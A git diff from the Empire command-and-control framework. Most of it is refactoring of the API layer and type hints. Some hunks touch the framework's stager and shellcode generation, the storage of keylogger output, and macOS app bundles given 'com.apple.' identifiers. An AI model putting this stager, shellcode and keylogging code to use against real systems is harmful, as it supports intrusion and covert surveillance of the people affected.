@@ -58,9 +51,7 @@ def domain_to_dto_stager(stager: models.Stager):
name=stager.name,
template=stager.module,
one_liner=stager.one_liner,
- downloads=list(
- map(lambda x: domain_to_dto_download_description(x), stager.downloads)
- ),
+ downloads=[domain_to_dto_download_description(x) for x in stager.downloads],
options=stager.options,
user_id=stager.user_id,
created_at=stager.created_at,
@@ -71,13 +62,12 @@ def domain_to_dto_stager(stager: models.Stager):
class StagerTemplate(BaseModel):
id: str
name: str
- authors: List[Author]
+ authors: list[Author]
description: str
- comments: List[str]
- options: Dict[str, CustomOptionSchema]
-
- class Config:
- schema_extra = {
+ comments: list[str]
+ options: dict[str, CustomOptionSchema]
+ model_config = ConfigDict(
+ json_schema_extra={
"example": {
"id": "multi_launcher",
"name": "Launcher",
@@ -172,10 +162,11 @@ class Config:
},
}
}
+ )
class StagerTemplates(BaseModel):
- records: List[StagerTemplate]
+ records: list[StagerTemplate]
class Stager(BaseModel):
@@ -183,26 +174,24 @@ class Stager(BaseModel):
name: str
template: str
one_liner: bool
- downloads: List[DownloadDescription]
- options: Dict[str, str]
+ downloads: list[DownloadDescription]
+ options: coerced_dict
user_id: int
- created_at: Optional[
- datetime
- ] # optional because if its not saved yet, it will be None
- updated_at: Optional[datetime]
+ # optional because if its not saved yet, it will be None
+ created_at: datetime | None = None
+ updated_at: datetime | None = None
class Stagers(BaseModel):
- records: List[Stager]
+ records: list[Stager]
class StagerPostRequest(BaseModel):
name: str
template: str
- options: Dict[str, str]
-
- class Config:
- schema_extra = {
+ options: coerced_dict
+ model_config = ConfigDict(
+ json_schema_extra={
"example": {
"name": "MyStager",
"template": "multi_launcher",
@@ -222,11 +211,12 @@ class Config:
},
}
}
+ )
class StagerUpdateRequest(BaseModel):
name: str
- options: Dict[str, str]
+ options: coerced_dict
def __iter__(self):
return iter(self.__root__)
diff --git a/empire/server/api/v2/stager/stager_template_api.py b/empire/server/api/v2/stager/stager_template_api.py
index 82aee8721..e09beece3 100644
--- a/empire/server/api/v2/stager/stager_template_api.py
+++ b/empire/server/api/v2/stager/stager_template_api.py
@@ -25,12 +25,10 @@
@router.get("/", response_model=StagerTemplates)
async def get_stager_templates():
- templates = list(
- map(
- lambda x: domain_to_dto_template(x[1], x[0]),
- stager_template_service.get_stager_templates().items(),
- )
- )
+ templates = [
+ domain_to_dto_template(x[1], x[0])
+ for x in stager_template_service.get_stager_templates().items()
+ ]
return {"records": templates}
diff --git a/empire/server/api/v2/tag/tag_api.py b/empire/server/api/v2/tag/tag_api.py
index 8ea1071fd..1073f4109 100644
--- a/empire/server/api/v2/tag/tag_api.py
+++ b/empire/server/api/v2/tag/tag_api.py
@@ -1,14 +1,12 @@
import math
-from typing import List, Optional, Union
from fastapi import Depends, HTTPException, Query
-from sqlalchemy.orm import Session
from starlette.responses import Response
from starlette.status import HTTP_201_CREATED, HTTP_204_NO_CONTENT
from empire.server.api.api_router import APIRouter
from empire.server.api.jwt_auth import get_current_active_user
-from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dependencies import CurrentSession
from empire.server.api.v2.shared_dto import (
BadRequestResponse,
NotFoundResponse,
@@ -40,13 +38,13 @@
@router.get("/")
async def get_tags(
- db: Session = Depends(get_db),
+ db: CurrentSession,
limit: int = -1,
page: int = 1,
order_direction: OrderDirection = OrderDirection.asc,
order_by: TagOrderOptions = TagOrderOptions.updated_at,
- query: Optional[str] = None,
- sources: Optional[List[TagSourceFilter]] = Query(None),
+ query: str | None = None,
+ sources: list[TagSourceFilter] | None = Query(None),
):
tags, total = tag_service.get_all(
db=db,
@@ -58,7 +56,7 @@ async def get_tags(
order_direction=order_direction,
)
- tags_converted = list(map(lambda x: domain_to_dto_tag(x), tags))
+ tags_converted = [domain_to_dto_tag(x) for x in tags]
return Tags(
records=tags_converted,
@@ -70,7 +68,7 @@ async def get_tags(
def add_endpoints_to_taggable(router, path, get_taggable):
- async def get_tag(tag_id: int, db: Session = Depends(get_db)):
+ async def get_tag(tag_id: int, db: CurrentSession):
tag = tag_service.get_by_id(db, tag_id)
if tag:
@@ -79,31 +77,31 @@ async def get_tag(tag_id: int, db: Session = Depends(get_db)):
raise HTTPException(404, f"Tag not found for id {tag_id}")
async def add_tag(
- uid: Union[int, str],
+ uid: int | str,
tag_req: TagRequest,
+ db: CurrentSession,
db_taggable=Depends(get_taggable),
- db: Session = Depends(get_db),
):
tag = tag_service.add_tag(db, db_taggable, tag_req)
return domain_to_dto_tag(tag)
async def update_tag(
- uid: Union[int, str],
+ uid: int | str,
tag_req: TagRequest,
+ db: CurrentSession,
db_taggable=Depends(get_taggable),
db_tag: models.Tag = Depends(get_tag),
- db: Session = Depends(get_db),
):
tag = tag_service.update_tag(db, db_tag, db_taggable, tag_req)
return domain_to_dto_tag(tag)
async def delete_tag(
- uid: Union[int, str],
+ uid: int | str,
tag_id: int,
+ db: CurrentSession,
db_taggable=Depends(get_taggable),
- db: Session = Depends(get_db),
):
tag_service.delete_tag(db, db_taggable, tag_id)
diff --git a/empire/server/api/v2/tag/tag_dto.py b/empire/server/api/v2/tag/tag_dto.py
index 9c3efdd8f..61916b123 100644
--- a/empire/server/api/v2/tag/tag_dto.py
+++ b/empire/server/api/v2/tag/tag_dto.py
@@ -1,15 +1,15 @@
from enum import Enum
-from typing import List, Optional
+from typing import Annotated
-from pydantic import BaseModel, constr
+from pydantic import BaseModel, StringConstraints
from empire.server.core.db import models
# Validate the string contains 1 colon
-TagStr = constr(regex=r"^[^:]+:[^:]+$")
+TagStr = Annotated[str, StringConstraints(pattern=r"^[^:]+:[^:]+$")]
# Validate the string has no colons
-TagStrNoColon = constr(regex=r"^[^:]+$")
+TagStrNoColon = Annotated[str, StringConstraints(pattern=r"^[^:]+$")]
class TagSourceFilter(str, Enum):
@@ -26,11 +26,11 @@ class Tag(BaseModel):
name: str
value: str
label: str
- color: Optional[str]
+ color: str | None = None
class Tags(BaseModel):
- records: List[Tag]
+ records: list[Tag]
limit: int
page: int
total_pages: int
@@ -40,7 +40,7 @@ class Tags(BaseModel):
class TagRequest(BaseModel):
name: TagStrNoColon
value: TagStrNoColon
- color: Optional[str]
+ color: str | None = None
class TagOrderOptions(str, Enum):
diff --git a/empire/server/api/v2/user/user_api.py b/empire/server/api/v2/user/user_api.py
index c7cce3d7b..0d360fabf 100644
--- a/empire/server/api/v2/user/user_api.py
+++ b/empire/server/api/v2/user/user_api.py
@@ -2,12 +2,12 @@
from fastapi import Depends, File, HTTPException, UploadFile
from fastapi.security import OAuth2PasswordRequestForm
-from sqlalchemy.orm import Session
from starlette import status
from empire.server.api.api_router import APIRouter
from empire.server.api.jwt_auth import (
ACCESS_TOKEN_EXPIRE_MINUTES,
+ CurrentActiveUser,
Token,
authenticate_user,
create_access_token,
@@ -15,7 +15,7 @@
get_current_active_user,
get_password_hash,
)
-from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dependencies import CurrentSession
from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
from empire.server.api.v2.user.user_dto import (
User,
@@ -41,7 +41,7 @@
)
-async def get_user(uid: int, db: Session = Depends(get_db)):
+async def get_user(uid: int, db: CurrentSession):
user = user_service.get_by_id(db, uid)
if user:
@@ -52,7 +52,8 @@ async def get_user(uid: int, db: Session = Depends(get_db)):
@router.post("/token", response_model=Token)
async def login_for_access_token(
- form_data: OAuth2PasswordRequestForm = Depends(), db: Session = Depends(get_db)
+ db: CurrentSession,
+ form_data: OAuth2PasswordRequestForm = Depends(),
):
user = authenticate_user(db, form_data.username, form_data.password)
if not user:
@@ -69,7 +70,7 @@ async def login_for_access_token(
@router.get("/api/v2/users/me", response_model=User)
-async def read_user_me(current_user: User = Depends(get_current_active_user)):
+async def read_user_me(current_user: CurrentActiveUser):
return domain_to_dto_user(current_user)
@@ -78,8 +79,8 @@ async def read_user_me(current_user: User = Depends(get_current_active_user)):
response_model=Users,
dependencies=[Depends(get_current_active_user)],
)
-async def read_users(db: Session = Depends(get_db)):
- users = list(map(lambda x: domain_to_dto_user(x), user_service.get_all(db)))
+async def read_users(db: CurrentSession):
+ users = [domain_to_dto_user(x) for x in user_service.get_all(db)]
return {"records": users}
@@ -98,7 +99,7 @@ async def read_user(uid: int, db_user: models.User = Depends(get_user)):
status_code=201,
dependencies=[Depends(get_current_active_admin_user)],
)
-async def create_user(user: UserPostRequest, db: Session = Depends(get_db)):
+async def create_user(user: UserPostRequest, db: CurrentSession):
resp, err = user_service.create_user(
db, user.username, get_password_hash(user.password), user.is_admin
)
@@ -113,8 +114,8 @@ async def create_user(user: UserPostRequest, db: Session = Depends(get_db)):
async def update_user(
uid: int,
user_req: UserUpdateRequest,
- current_user: models.User = Depends(get_current_active_user),
- db: Session = Depends(get_db),
+ current_user: CurrentActiveUser,
+ db: CurrentSession,
db_user: models.User = Depends(get_user),
):
if not (current_user.admin or current_user.id == uid):
@@ -142,8 +143,8 @@ async def update_user(
async def update_user_password(
uid: int,
user_req: UserUpdatePasswordRequest,
- current_user: models.User = Depends(get_current_active_user),
- db: Session = Depends(get_db),
+ current_user: CurrentActiveUser,
+ db: CurrentSession,
db_user: models.User = Depends(get_user),
):
if not current_user.id == uid:
@@ -165,8 +166,8 @@ async def update_user_password(
@router.post("/api/v2/users/{uid}/avatar", status_code=201)
async def create_avatar(
uid: int,
- db: Session = Depends(get_db),
- user: models.User = Depends(get_current_active_user),
+ user: CurrentActiveUser,
+ db: CurrentSession,
file: UploadFile = File(...),
):
if not user.id == uid:
diff --git a/empire/server/api/v2/user/user_dto.py b/empire/server/api/v2/user/user_dto.py
index cec2d3131..ec6f392e3 100644
--- a/empire/server/api/v2/user/user_dto.py
+++ b/empire/server/api/v2/user/user_dto.py
@@ -1,5 +1,4 @@
from datetime import datetime
-from typing import List, Optional
from pydantic import BaseModel
@@ -30,13 +29,13 @@ class User(BaseModel):
username: str
enabled: bool
is_admin: bool
- avatar: Optional[DownloadDescription]
+ avatar: DownloadDescription | None = None
created_at: datetime
updated_at: datetime
class Users(BaseModel):
- records: List[User]
+ records: list[User]
class UserPostRequest(BaseModel):
diff --git a/empire/server/api/v2/websocket/socketio.py b/empire/server/api/v2/websocket/socketio.py
index c3d858c2f..ab8e8a804 100644
--- a/empire/server/api/v2/websocket/socketio.py
+++ b/empire/server/api/v2/websocket/socketio.py
@@ -30,30 +30,29 @@ def setup_socket_events(sio, empire_menu):
sid_to_user = {}
- async def get_user_from_token(sid, token):
- user = await jwt_auth.get_current_user(token, SessionLocal())
+ async def get_user_from_token(sid, token, db: Session):
+ user = await jwt_auth.get_current_user(db, token)
if user is None:
return False
sid_to_user[sid] = user.id
return user
- def get_user_from_sid(sid):
+ def get_user_from_sid(sid, db: Session):
user_id = sid_to_user.get(sid)
if user_id is None:
return None
- return (
- SessionLocal().query(models.User).filter(models.User.id == user_id).first()
- )
+ return db.query(models.User).filter(models.User.id == user_id).first()
@sio.on("connect")
async def on_connect(sid, environ, auth):
try:
- user = await get_user_from_token(sid, auth["token"])
- if user:
- log.info(f"{user.username} connected to socketio")
- return
+ with SessionLocal() as db:
+ user = await get_user_from_token(sid, auth["token"], db)
+ if user:
+ log.info(f"{user.username} connected to socketio")
+ return
except HTTPException:
# If a server is restarted and clients are still connected, there are
# sometimes token handling errors. We want to reject these since they fail
@@ -64,10 +63,11 @@ async def on_connect(sid, environ, auth):
@sio.on("disconnect")
async def on_disconnect(sid):
- user = get_user_from_sid(sid)
- log.info(
- f"{'Client' if user is None else user.username} disconnected from socketio"
- )
+ with SessionLocal() as db:
+ user = get_user_from_sid(sid, db)
+ log.info(
+ f"{'Client' if user is None else user.username} disconnected from socketio"
+ )
@sio.on("chat/join")
async def on_join(sid, data=None):
@@ -77,40 +77,42 @@ async def on_join(sid, data=None):
The server fails if a client sends data when none is expected.
:return: emits a join event with the user's details.
"""
- user = get_user_from_sid(sid)
- if user.username not in chat_participants:
- chat_participants[user.username] = user.username
- sio.enter_room(sid, room)
- await sio.emit(
- "chat/join",
- {
- "user": domain_to_dto_user(user),
- "username": user.username,
- "message": f"{user.username} has entered the room.",
- },
- room=room,
- )
-
- @sio.on("chat/leave")
- async def on_leave(sid, data=None):
- """
- The calling user gets removed from the "general" chat room.
- :return: emits a leave event with the user's details.
- """
- user = get_user_from_sid(sid)
- if user is not None:
- chat_participants.pop(user.username, None)
- sio.leave_room(sid, room)
+ with SessionLocal() as db:
+ user = get_user_from_sid(sid, db)
+ if user.username not in chat_participants:
+ chat_participants[user.username] = user.username
+ await sio.enter_room(sid, room)
await sio.emit(
- "chat/leave",
+ "chat/join",
{
"user": domain_to_dto_user(user),
"username": user.username,
- "message": user.username + " has left the room.",
+ "message": f"{user.username} has entered the room.",
},
room=room,
)
+ @sio.on("chat/leave")
+ async def on_leave(sid, data=None):
+ """
+ The calling user gets removed from the "general" chat room.
+ :return: emits a leave event with the user's details.
+ """
+ with SessionLocal() as db:
+ user = get_user_from_sid(sid, db)
+ if user is not None:
+ chat_participants.pop(user.username, None)
+ await sio.leave_room(sid, room)
+ await sio.emit(
+ "chat/leave",
+ {
+ "user": domain_to_dto_user(user),
+ "username": user.username,
+ "message": user.username + " has left the room.",
+ },
+ room=room,
+ )
+
@sio.on("chat/message")
async def on_message(sid, data):
"""
@@ -118,15 +120,16 @@ async def on_message(sid, data):
:param data: contains the user's message.
:return: Emits a message event containing the message and the user's username
"""
- user = get_user_from_sid(sid)
- if isinstance(data, str):
- data = json.loads(data)
- chat_log.append({"username": user.username, "message": data["message"]})
- await sio.emit(
- "chat/message",
- {"username": user.username, "message": data["message"]},
- room=room,
- )
+ with SessionLocal() as db:
+ user = get_user_from_sid(sid, db)
+ if isinstance(data, str):
+ data = json.loads(data)
+ chat_log.append({"username": user.username, "message": data["message"]})
+ await sio.emit(
+ "chat/message",
+ {"username": user.username, "message": data["message"]},
+ room=room,
+ )
@sio.on("chat/history")
async def on_history(sid, data=None):
diff --git a/empire/server/common/agents.py b/empire/server/common/agents.py
index 38804a059..c179ab225 100644
--- a/empire/server/common/agents.py
+++ b/empire/server/common/agents.py
@@ -42,8 +42,6 @@
import threading
import time
import warnings
-from pathlib import Path
-from typing import Dict
from sqlalchemy import and_, or_
from sqlalchemy.orm import Session
@@ -94,7 +92,7 @@ def __init__(self, MainMenu, args=None):
# Since each agent logs to a different file, we can have multiple locks to reduce
# waiting time when writing to the file.
- self.agent_log_locks: Dict[str, threading.Lock] = {}
+ self.agent_log_locks: dict[str, threading.Lock] = {}
# reinitialize any agents that already exist in the database
db_agents = self.get_agents_db()
@@ -256,7 +254,7 @@ def save_file(
parts = path.split("\\")
# construct the appropriate save path
- download_dir = Path(empire_config.directories.downloads)
+ download_dir = empire_config.directories.downloads
save_path = download_dir / sessionID / "/".join(parts[0:-1])
filename = os.path.basename(parts[-1])
save_file = save_path / filename
@@ -346,7 +344,7 @@ def save_module_file(self, sessionID, path, data, language: str):
parts = path.split("/")
# construct the appropriate save path
- download_dir = Path(empire_config.directories.downloads)
+ download_dir = empire_config.directories.downloads
save_path = download_dir / sessionID / "/".join(parts[0:-1])
filename = parts[-1]
save_file = save_path / filename
@@ -404,7 +402,7 @@ def save_agent_log(self, session_id, data):
if isinstance(data, bytes):
data = data.decode("UTF-8")
- save_path = Path(empire_config.directories.downloads) / session_id
+ save_path = empire_config.directories.downloads / session_id
# make the recursive directory structure if it doesn't already exist
if not save_path.exists():
@@ -1643,7 +1641,7 @@ def process_agent_packet(
elif response_name == "TASK_CMD_JOB":
# check if this is the powershell keylogging task, if so, write output to file instead of screen
if key_log_task_id and key_log_task_id == task_id:
- download_dir = Path(empire_config.directories.downloads)
+ download_dir = empire_config.directories.downloads
safe_path = download_dir.absolute()
save_path = download_dir / session_id / "keystrokes.txt"
diff --git a/empire/server/common/converter/convert_authors.py b/empire/server/common/converter/convert_authors.py
deleted file mode 100644
index abf9618a3..000000000
--- a/empire/server/common/converter/convert_authors.py
+++ /dev/null
@@ -1,104 +0,0 @@
-import fnmatch
-import os
-
-from ruamel.yaml import YAML
-
-yaml = YAML()
-yaml.indent(mapping=2, sequence=4, offset=2)
-yaml.width = 120
-
-
-author_names = {
- "@harmj0y": "Will Schroeder",
- "@hubbl3": "Jake Krasnov",
- "@Cx01N": "Anthony Rose",
- "@S3cur3Th1sSh1t": "",
- "@mattifestation": "Matt Graeber",
- "@joevest": "Joe Vest",
- "@424f424f": "",
- "@gentilkiwi": "Benjamin Delpy",
- "@tifkin_": "Lee Christensen",
- "@JosephBialek": "Joseph Bialek",
- "matterpreter": "Matt Hand",
- "@n00py": "",
- "@_wald0": "Andy Robbins",
- "@cptjesus": "Rohan Vazarkar",
- "@xorrior": "Chris Ross",
- "@TweekFawkes": "Bryce Kunz",
-}
-
-
-author_links = {
- "@harmj0y": "https://twitter.com/harmj0y",
- "@hubbl3": "https://twitter.com/_hubbl3",
- "@Cx01N": "https://twitter.com/Cx01N_",
- "@S3cur3Th1sSh1t": "https://twitter.com/ShitSecure",
- "@mattifestation": "https://twitter.com/mattifestation",
- "@joevest": "https://twitter.com/joevest",
- "@424f424f": "https://twitter.com/424f424f",
- "@gentilkiwi": "https://twitter.com/gentilkiwi",
- "@tifkin_": "https://twitter.com/tifkin_",
- "@JosephBialek": "https://twitter.com/JosephBialek",
- "matterpreter": "https://twitter.com/matterpreter",
- "@n00py": "https://twitter.com/n00py1",
- "@_wald0": "https://twitter.com/_wald0",
- "@cptjesus": "https://twitter.com/cptjesus",
- "@xorrior": "https://twitter.com/xorrior",
- "@TweekFawkes": "https://twitter.com/TweekFawkes",
-}
-
-
-def convert_old_author(author):
- name = ""
- handle = ""
- link = ""
- if author.startswith("@"):
- handle = author
- if handle in author_names:
- name = author_names[handle]
- if handle in author_links:
- link = author_links[handle]
- else:
- name = author
-
- return {"name": name, "handle": handle, "link": link}
-
-
-if __name__ == "__main__":
- # yaml.add_representer(type(None), represent_none)
- root_path = "../../modules"
- pattern = "*.yaml"
- for root, _dirs, files in os.walk(root_path):
- for filename in fnmatch.filter(files, pattern):
- try:
- file_path = os.path.join(root, filename)
-
- # don't load up any of the templates
- if fnmatch.fnmatch(filename, "*template.yaml"):
- continue
- if fnmatch.fnmatch(filename, "*Covenant.yaml"):
- continue
-
- with open(file_path) as stream:
- yaml_dict = yaml.load(stream)
- author_handles = yaml_dict["authors"]
-
- if author_handles is None:
- continue
- if len(author_handles) > 0:
- if not isinstance(author_handles[0], str):
- continue
-
- # split any author strings within the list with commas and convert to list
- author_list = []
- for author in author_handles:
- author_list.extend(author.split(","))
-
- new_authors = list(map(convert_old_author, author_list))
-
- yaml_dict["authors"] = new_authors
-
- with open(file_path, "w") as out:
- yaml.dump(yaml_dict, out)
- except Exception as e:
- print(f"Error processing {file_path}: {e}")
diff --git a/empire/server/common/converter/load_covenant.py b/empire/server/common/converter/load_covenant.py
index 9ba006475..a83cb9713 100644
--- a/empire/server/common/converter/load_covenant.py
+++ b/empire/server/common/converter/load_covenant.py
@@ -1,9 +1,7 @@
-from typing import Dict, List
-
import yaml
-def _convert_covenant_to_empire(covenant_dict: Dict, file_path: str):
+def _convert_covenant_to_empire(covenant_dict: dict, file_path: str):
empire_yaml = {
"name": covenant_dict["Name"],
"authors": _convert_convenant_authors_to_empire([covenant_dict["Author"]]),
@@ -25,7 +23,7 @@ def _convert_covenant_to_empire(covenant_dict: Dict, file_path: str):
return empire_yaml
-def _convert_convenant_authors_to_empire(covenant_authors: List[Dict]):
+def _convert_convenant_authors_to_empire(covenant_authors: list[dict]):
empire_authors = []
for author in covenant_authors:
empire_authors.append(
@@ -39,9 +37,9 @@ def _convert_convenant_authors_to_empire(covenant_authors: List[Dict]):
def _convert_covenant_options_to_empire(
- covenant_options: List[Dict],
- empire_options: List[Dict],
- compatible_versions: List[str],
+ covenant_options: list[dict],
+ empire_options: list[dict],
+ compatible_versions: list[str],
):
empire_options.append(
{
diff --git a/empire/server/common/converter/module_converter.py b/empire/server/common/converter/module_converter.py
deleted file mode 100644
index 45e4f8bf9..000000000
--- a/empire/server/common/converter/module_converter.py
+++ /dev/null
@@ -1,97 +0,0 @@
-import fnmatch
-import importlib.util
-import os
-from typing import Dict
-
-import yaml
-
-info_keys = {
- "Name": "name",
- "Authors": "authors",
- "Description": "description",
- "Software": "software",
- "Techniques": "techniques",
- "Tactics": "tactics",
- "Background": "background",
- "OutputExtension": "output_extension",
- "NeedsAdmin": "needs_admin",
- "OpsecSafe": "opsec_safe",
- "Language": "language",
- "MinLanguageVersion": "min_language_version",
- "Comments": "comments",
-}
-
-
-def represent_none(self, _):
- return self.represent_scalar("tag:yaml.org,2002:null", "")
-
-
-def format_info(info: Dict) -> Dict:
- ordered_dict = {}
-
- for old, new in info_keys.items():
- ordered_dict[new] = info[old]
-
- return ordered_dict
-
-
-def format_options(options: Dict) -> Dict:
- option_list = []
-
- for key, value in options.items():
- option_list.append(
- {
- "name": key,
- "description": value["Description"],
- "required": value["Required"],
- "value": value["Value"],
- }
- )
-
- return {"options": option_list}
-
-
-if __name__ == "__main__":
- yaml.add_representer(type(None), represent_none)
- root_path = "../../modules/python"
- pattern = "*.py"
- count = 0
- for root, _dirs, files in os.walk(root_path):
- for filename in fnmatch.filter(files, pattern):
- file_path = os.path.join(root, filename)
-
- # if 'eventvwr' not in file_path and 'seatbelt' not in file_path and 'logonpasswords' not in file_path \
- # and 'invoke_assembly' not in file_path.lower() and 'sherlock' not in file_path and 'kerberoast' not in file_path \
- # and 'watson' not in file_path and 'message.py' not in file_path and 'rick_astley' not in file_path \
- # and 'portscan' not in file_path and 'say.py' not in file_path and 'prompt' not in file_path and 'screenshot' not in file_path\
- # and 'clipboard' not in file_path:
- # continue
-
- if count > 10:
- break
-
- if os.path.exists(file_path[:-3] + ".yaml"):
- continue
-
- # don't load up any of the templates
- if fnmatch.fnmatch(filename, "*template.py"):
- continue
-
- module_name = file_path.split(root_path)[-1][0:-3]
-
- with open(file_path) as stream:
- spec = importlib.util.spec_from_file_location(
- module_name + ".py", file_path[:-3] + ".py"
- )
- imp_mod = importlib.util.module_from_spec(spec)
- spec.loader.exec_module(imp_mod)
- my_module = imp_mod.Module(None)
-
- info: Dict = format_info(my_module.info)
- options = format_options(my_module.options)
-
- info.update(options)
-
- with open(file_path[:-3] + ".yaml", "a") as out:
- yaml.dump(info, out, sort_keys=False)
- count += 1
diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py
index 152944f2f..7894b716d 100755
--- a/empire/server/common/empire.py
+++ b/empire/server/common/empire.py
@@ -13,7 +13,6 @@
import time
from pathlib import Path
from socket import SocketIO
-from typing import Optional
# Empire imports
from empire.server.core import hooks_internal
@@ -39,7 +38,7 @@
from . import agents, credentials, listeners, stagers
-VERSION = "5.7.3 BC Security Fork"
+VERSION = "5.8.1 BC Security Fork"
log = logging.getLogger(__name__)
@@ -65,7 +64,7 @@ def __init__(self, args=None):
# parse/handle any passed command line arguments
self.args = args
- self.socketio: Optional[SocketIO] = None
+ self.socketio: SocketIO | None = None
self.agents = agents.Agents(self, args=args)
self.credentials = credentials.Credentials(self, args=args)
@@ -108,7 +107,7 @@ def shutdown(self):
"""
log.info("Empire shutting down...")
- # enumerate all active servers/listeners and shut them down
+ log.info("Shutting down listeners...")
self.listenersv2.shutdown_listeners()
log.info("Shutting down plugins...")
diff --git a/empire/server/common/helpers.py b/empire/server/common/helpers.py
index 4188defc9..c4eda59dd 100644
--- a/empire/server/common/helpers.py
+++ b/empire/server/common/helpers.py
@@ -265,9 +265,13 @@ def get_dependent_functions(code, functionNames):
dependentFunctions.add(functionName)
if re.search(r"\$Netapi32|\$Advapi32|\$Kernel32|\$Wtsapi32", code, re.IGNORECASE):
- dependentFunctions |= set(
- ["New-InMemoryModule", "func", "Add-Win32Type", "psenum", "struct"]
- )
+ dependentFunctions |= {
+ "New-InMemoryModule",
+ "func",
+ "Add-Win32Type",
+ "psenum",
+ "struct",
+ }
return dependentFunctions
@@ -341,7 +345,7 @@ def generate_dynamic_powershell_script(script, function_names):
"struct",
]
- if type(function_names) is not list:
+ if not isinstance(function_names, list):
function_names = [function_names]
# build a mapping of functionNames -> stripped function code
diff --git a/empire/server/common/pylnk.py b/empire/server/common/pylnk.py
index ebe7d5562..ab6ad0ff5 100644
--- a/empire/server/common/pylnk.py
+++ b/empire/server/common/pylnk.py
@@ -74,7 +74,7 @@
WINDOW_MAXIMIZED = "Maximized"
WINDOW_MINIMIZED = "Minimized"
_SHOW_COMMANDS = {1: WINDOW_NORMAL, 3: WINDOW_MAXIMIZED, 7: WINDOW_MINIMIZED}
-_SHOW_COMMAND_IDS = dict((v, k) for k, v in _SHOW_COMMANDS.items())
+_SHOW_COMMAND_IDS = {v: k for k, v in _SHOW_COMMANDS.items()}
DRIVE_UNKNOWN = "Unknown"
DRIVE_NO_ROOT_DIR = "No root directory"
@@ -92,7 +92,7 @@
5: DRIVE_CDROM,
6: DRIVE_RAMDISK,
}
-_DRIVE_TYPE_IDS = dict((v, k) for k, v in _DRIVE_TYPES.items())
+_DRIVE_TYPE_IDS = {v: k for k, v in _DRIVE_TYPES.items()}
_KEYS = {
0x30: "0",
@@ -158,7 +158,7 @@
0x90: "NUM LOCK",
0x91: "SCROLL LOCK",
}
-_KEY_CODES = dict((v, k) for k, v in _KEYS.items())
+_KEY_CODES = {v: k for k, v in _KEYS.items()}
ROOT_MY_COMPUTER = "MY_COMPUTER"
ROOT_MY_DOCUMENTS = "MY_DOCUMENTS"
@@ -181,7 +181,7 @@
"{645FF040-5081-101B-9F08-00AA002F954E}": ROOT_RECYLCE_BIN,
"{21EC2020-3AEA-1069-A2DD-08002B30309D}": ROOT_CONTROL_PANEL,
}
-_ROOT_LOCATION_GUIDS = dict((v, k) for k, v in _ROOT_LOCATIONS.items())
+_ROOT_LOCATION_GUIDS = {v: k for k, v in _ROOT_LOCATIONS.items()}
TYPE_FOLDER = "FOLDER"
TYPE_FILE = "FILE"
@@ -191,7 +191,7 @@
0x35: "FOLDER (UNICODE)",
0x36: "FILE (UNICODE)",
}
-_ENTRY_TYPE_IDS = dict((v, k) for k, v in _ENTRY_TYPES.items())
+_ENTRY_TYPE_IDS = {v: k for k, v in _ENTRY_TYPES.items()}
_DRIVE_PATTERN = re.compile("(\\w)[:/\\\\]*$")
@@ -362,7 +362,7 @@ class InvalidKeyException(Exception):
class Flags:
def __init__(self, flag_names, flags_bytes=0):
self._flag_names = flag_names
- self._flags = dict([(name, None) for name in flag_names])
+ self._flags = {name: None for name in flag_names}
self.set_flags(flags_bytes)
def set_flags(self, flags_bytes):
diff --git a/empire/server/common/stagers.py b/empire/server/common/stagers.py
index 27931d2a6..6430a6f65 100755
--- a/empire/server/common/stagers.py
+++ b/empire/server/common/stagers.py
@@ -22,7 +22,11 @@
import zipfile
from itertools import cycle
-import donut
+try:
+ import donut
+except ModuleNotFoundError:
+ donut = None
+
import macholib.MachO
from empire.server.core.db import models
@@ -179,7 +183,7 @@ def generate_powershell_exe(
def generate_powershell_shellcode(
self, posh_code, arch="both", dot_net_version="net40"
- ):
+ ) -> tuple[str | None, str | None]:
"""
Generate powershell shellcode using donut python module
"""
@@ -191,8 +195,14 @@ def generate_powershell_shellcode(
arch_type = 3
directory = self.generate_powershell_exe(posh_code, dot_net_version)
+
+ if not donut:
+ err = "module donut-shellcode not installed. It is only supported on x86."
+ log.warning(err, exc_info=True)
+ return None, err
+
shellcode = donut.create(file=directory, arch=arch_type)
- return shellcode
+ return shellcode, None
def generate_exe_oneliner(
self, language, obfuscate, obfuscation_command, encode, listener_name
@@ -270,7 +280,7 @@ def generate_python_exe(
def generate_python_shellcode(
self, posh_code, arch="both", dot_net_version="net40"
- ):
+ ) -> tuple[str | None, str | None]:
"""
Generate ironpython shellcode using donut python module
"""
@@ -281,9 +291,14 @@ def generate_python_shellcode(
elif arch == "both":
arch_type = 3
+ if not donut:
+ err = "module donut-shellcode not installed. It is only supported on x86."
+ log.warning(err, exc_info=True)
+ return None, err
+
directory = self.generate_python_exe(posh_code, dot_net_version)
shellcode = donut.create(file=directory, arch=arch_type)
- return shellcode
+ return shellcode, None
def generate_macho(self, launcherCode):
"""
@@ -503,7 +518,7 @@ def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm):
shutil.copy2(icon, tmpdir + "Contents/Resources/" + iconfile + ".icns")
else:
iconfile = icon
- appPlist = """
+ appPlist = f"""
@@ -512,15 +527,15 @@ def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm):
CFBundleDevelopmentRegion
en
CFBundleExecutable
- {}
+ {AppName}
CFBundleIconFile
- {}
+ {iconfile}
CFBundleIdentifier
- com.apple.{}
+ com.apple.{AppName}
CFBundleInfoDictionaryVersion
6.0
CFBundleName
- {}
+ {AppName}
CFBundlePackageType
APPL
CFBundleShortVersionString
@@ -561,12 +576,7 @@ def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm):
NSApplication
-""".format(
- AppName,
- iconfile,
- AppName,
- AppName,
- )
+"""
with open(tmpdir + "Contents/Info.plist", "w") as f:
f.write(appPlist)
@@ -770,6 +780,9 @@ def generate_stageless(self, options):
architecture="AMD64",
)
+ # Send initial task for sysinfo into the database
+ self.mainMenu.agenttasksv2.create_task_sysinfo(db, agent, 0)
+
# get the agent's session key
session_key = agent.session_key
@@ -798,17 +811,33 @@ def generate_stageless(self, options):
elif options["Language"]["Value"] in ["python", "ironpython"]:
stager_code = stager_code.replace(
- "b''.join(random.choice(string.ascii_uppercase + string.digits).encode('UTF-8') for _ in range(8))",
- f"b'{session_id}'",
+ "return b''.join(random.choice(string.ascii_uppercase + string.digits).encode('UTF-8') for _ in range(8))",
+ f"return b'{session_id}'",
)
- stager_code = stager_code.split("clientPub=DiffieHellman()")[0]
